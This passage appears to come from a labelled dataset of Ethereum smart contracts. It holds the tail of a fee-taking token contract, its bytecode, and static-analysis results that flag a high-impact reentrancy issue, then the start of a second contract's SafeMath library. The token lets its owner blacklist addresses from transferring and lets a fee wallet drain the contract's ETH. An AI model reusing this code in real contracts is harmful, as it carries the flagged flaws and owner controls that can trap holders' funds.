bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612de6565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128ed565b6104b4565b60405161018e9190612dcb565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f88565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061292d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061289a565b61060d565b60405161021f9190612dcb565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612800565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ffd565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612976565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129d0565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612800565b6109dd565b6040516103199190612f88565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612cfd565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612de6565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128ed565b610c9e565b6040516103da9190612dcb565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129d0565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c919061285a565b61137b565b60405161046e9190612f88565b60405180910390f35b60606040518060400160405280600881526020017f56656e6f6d496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611402565b848461140a565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612ec8565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613345565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106019061329e565b91505061057b565b5050565b600061061a8484846115d5565b6106db84610626611402565b6106d68560405180606001604052806028815260200161370460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611402565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c689092919063ffffffff16565b61140a565b600190509392505050565b6106ee611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612ec8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612ec8565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612ec8565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccc90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611402565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612ec8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612ec8565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f56656e6f6d496e75000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611402565b84846115d5565b6001905092915050565b610cc4611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612ec8565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccc90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611402565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612ec8565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612f68565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061282d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061282d565b6040518363ffffffff1660e01b81526004016110ba929190612d18565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061282d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612d6a565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061121491906129fd565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611325929190612d41565b602060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137791906129a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190612e68565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c89190612f88565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612f08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90612e08565b60405180910390fd5b600081116116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612ee8565b60405180910390fd5b6000600a819055506005600b81905550611710610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177e575061174e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118275750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118db5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119315750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119495750600e60179054906101000a900460ff165b15611a8757600f54811115611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a90612e28565b60405180910390fd5b601054816119a0846109dd565b6119aa91906130be565b11156119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290612f28565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3657600080fd5b601e42611a4391906130be565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b325750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b885750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9e576000600a819055506008600b819055505b6000611ba9306109dd565b9050600e60159054906101000a900460ff16158015611c165750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600e60169054906101000a900460ff165b15611c5657611c3c81611e6b565b60004790506000811115611c5457611c5347611d91565b5b505b505b611c638383836120f3565b505050565b6000838311158290611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca79190612de6565b60405180910390fd5b5060008385611cbf919061319f565b9050809150509392505050565b600080831415611cdf5760009050611d41565b60008284611ced9190613145565b9050828482611cfc9190613114565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3390612ea8565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612103565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90612e48565b60405180910390fd5b6000611e4e612166565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea2613374565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8b57600080fd5b505afa158015611f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc3919061282d565b81600181518110611fd757611fd6613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a2959493929190612fa3565b600060405180830381600087803b1580156120bc57600080fd5b505af11580156120d0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120fe838383612191565b505050565b6000808311829061214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419190612de6565b60405180910390fd5b50600083856121599190613114565b9050809150509392505050565b600080600061217361235c565b9150915061218a8183611d4790919063ffffffff16565b9250505090565b6000806000806000806121a3876123be565b95509550955095509550955061220186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e2816124ce565b6122ec848361258b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123499190612f88565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061239268056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123b15760085468056bc75e2d631000009350935050506123ba565b81819350935050505b9091565b60008060008060008060008060006123db8a600a54600b546125c5565b92509250925060006123eb612166565b905060008060006123fe8e87878761265b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c68565b905092915050565b600080828461247f91906130be565b9050838110156124c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bb90612e88565b60405180910390fd5b8091505092915050565b60006124d8612166565b905060006124ef8284611ccc90919063ffffffff16565b905061254381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a08260085461242690919063ffffffff16565b6008819055506125bb8160095461247090919063ffffffff16565b6009819055505050565b6000806000806125f160646125e3888a611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061261b606461260d888b611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061264482612636858c61242690919063ffffffff16565b61242690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126748589611ccc90919063ffffffff16565b9050600061268b8689611ccc90919063ffffffff16565b905060006126a28789611ccc90919063ffffffff16565b905060006126cb826126bd858761242690919063ffffffff16565b61242690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126f76126f28461303d565b613018565b9050808382526020820190508285602086028201111561271a576127196133a8565b5b60005b8581101561274a57816127308882612754565b84526020840193506020830192505060018101905061271d565b5050509392505050565b600081359050612763816136be565b92915050565b600081519050612778816136be565b92915050565b600082601f830112612793576127926133a3565b5b81356127a38482602086016126e4565b91505092915050565b6000813590506127bb816136d5565b92915050565b6000815190506127d0816136d5565b92915050565b6000813590506127e5816136ec565b92915050565b6000815190506127fa816136ec565b92915050565b600060208284031215612816576128156133b2565b5b600061282484828501612754565b91505092915050565b600060208284031215612843576128426133b2565b5b600061285184828501612769565b91505092915050565b60008060408385031215612871576128706133b2565b5b600061287f85828601612754565b925050602061289085828601612754565b9150509250929050565b6000806000606084860312156128b3576128b26133b2565b5b60006128c186828701612754565b93505060206128d286828701612754565b92505060406128e3868287016127d6565b9150509250925092565b60008060408385031215612904576129036133b2565b5b600061291285828601612754565b9250506020612923858286016127d6565b9150509250929050565b600060208284031215612943576129426133b2565b5b600082013567ffffffffffffffff811115612961576129606133ad565b5b61296d8482850161277e565b91505092915050565b60006020828403121561298c5761298b6133b2565b5b600061299a848285016127ac565b91505092915050565b6000602082840312156129b9576129b86133b2565b5b60006129c7848285016127c1565b91505092915050565b6000602082840312156129e6576129e56133b2565b5b60006129f4848285016127d6565b91505092915050565b600080600060608486031215612a1657612a156133b2565b5b6000612a24868287016127eb565b9350506020612a35868287016127eb565b9250506040612a46868287016127eb565b9150509250925092565b6000612a5c8383612a68565b60208301905092915050565b612a71816131d3565b82525050565b612a80816131d3565b82525050565b6000612a9182613079565b612a9b818561309c565b9350612aa683613069565b8060005b83811015612ad7578151612abe8882612a50565b9750612ac98361308f565b925050600181019050612aaa565b5085935050505092915050565b612aed816131e5565b82525050565b612afc81613228565b82525050565b6000612b0d82613084565b612b1781856130ad565b9350612b2781856020860161323a565b612b30816133b7565b840191505092915050565b6000612b486023836130ad565b9150612b53826133c8565b604082019050919050565b6000612b6b6019836130ad565b9150612b7682613417565b602082019050919050565b6000612b8e602a836130ad565b9150612b9982613440565b604082019050919050565b6000612bb16022836130ad565b9150612bbc8261348f565b604082019050919050565b6000612bd4601b836130ad565b9150612bdf826134de565b602082019050919050565b6000612bf76021836130ad565b9150612c0282613507565b604082019050919050565b6000612c1a6020836130ad565b9150612c2582613556565b602082019050919050565b6000612c3d6029836130ad565b9150612c488261357f565b604082019050919050565b6000612c606025836130ad565b9150612c6b826135ce565b604082019050919050565b6000612c83601a836130ad565b9150612c8e8261361d565b602082019050919050565b6000612ca66024836130ad565b9150612cb182613646565b604082019050919050565b6000612cc96017836130ad565b9150612cd482613695565b602082019050919050565b612ce881613211565b82525050565b612cf78161321b565b82525050565b6000602082019050612d126000830184612a77565b92915050565b6000604082019050612d2d6000830185612a77565b612d3a6020830184612a77565b9392505050565b6000604082019050612d566000830185612a77565b612d636020830184612cdf565b9392505050565b600060c082019050612d7f6000830189612a77565b612d8c6020830188612cdf565b612d996040830187612af3565b612da66060830186612af3565b612db36080830185612a77565b612dc060a0830184612cdf565b979650505050505050565b6000602082019050612de06000830184612ae4565b92915050565b60006020820190508181036000830152612e008184612b02565b905092915050565b60006020820190508181036000830152612e2181612b3b565b9050919050565b60006020820190508181036000830152612e4181612b5e565b9050919050565b60006020820190508181036000830152612e6181612b81565b9050919050565b60006020820190508181036000830152612e8181612ba4565b9050919050565b60006020820190508181036000830152612ea181612bc7565b9050919050565b60006020820190508181036000830152612ec181612bea565b9050919050565b60006020820190508181036000830152612ee181612c0d565b9050919050565b60006020820190508181036000830152612f0181612c30565b9050919050565b60006020820190508181036000830152612f2181612c53565b9050919050565b60006020820190508181036000830152612f4181612c76565b9050919050565b60006020820190508181036000830152612f6181612c99565b9050919050565b60006020820190508181036000830152612f8181612cbc565b9050919050565b6000602082019050612f9d6000830184612cdf565b92915050565b600060a082019050612fb86000830188612cdf565b612fc56020830187612af3565b8181036040830152612fd78186612a86565b9050612fe66060830185612a77565b612ff36080830184612cdf565b9695505050505050565b60006020820190506130126000830184612cee565b92915050565b6000613022613033565b905061302e828261326d565b919050565b6000604051905090565b600067ffffffffffffffff82111561305857613057613374565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130c982613211565b91506130d483613211565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613109576131086132e7565b5b828201905092915050565b600061311f82613211565b915061312a83613211565b92508261313a57613139613316565b5b828204905092915050565b600061315082613211565b915061315b83613211565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613194576131936132e7565b5b828202905092915050565b60006131aa82613211565b91506131b583613211565b9250828210156131c8576131c76132e7565b5b828203905092915050565b60006131de826131f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323382613211565b9050919050565b60005b8381101561325857808201518184015260208101905061323d565b83811115613267576000848401525b50505050565b613276826133b7565b810181811067ffffffffffffffff8211171561329557613294613374565b5b80604052505050565b60006132a982613211565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132dc576132db6132e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136c7816131d3565b81146136d257600080fd5b50565b6136de816131e5565b81146136e957600080fd5b50565b6136f581613211565b811461370057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200185a30e9bf12264096676ba8fd1caa2c6d762f5efefa6ab349f82b3e5cc10be64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,056
0xe7e782298009e69f77a1ecd1dd20fca10d2c4e00
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 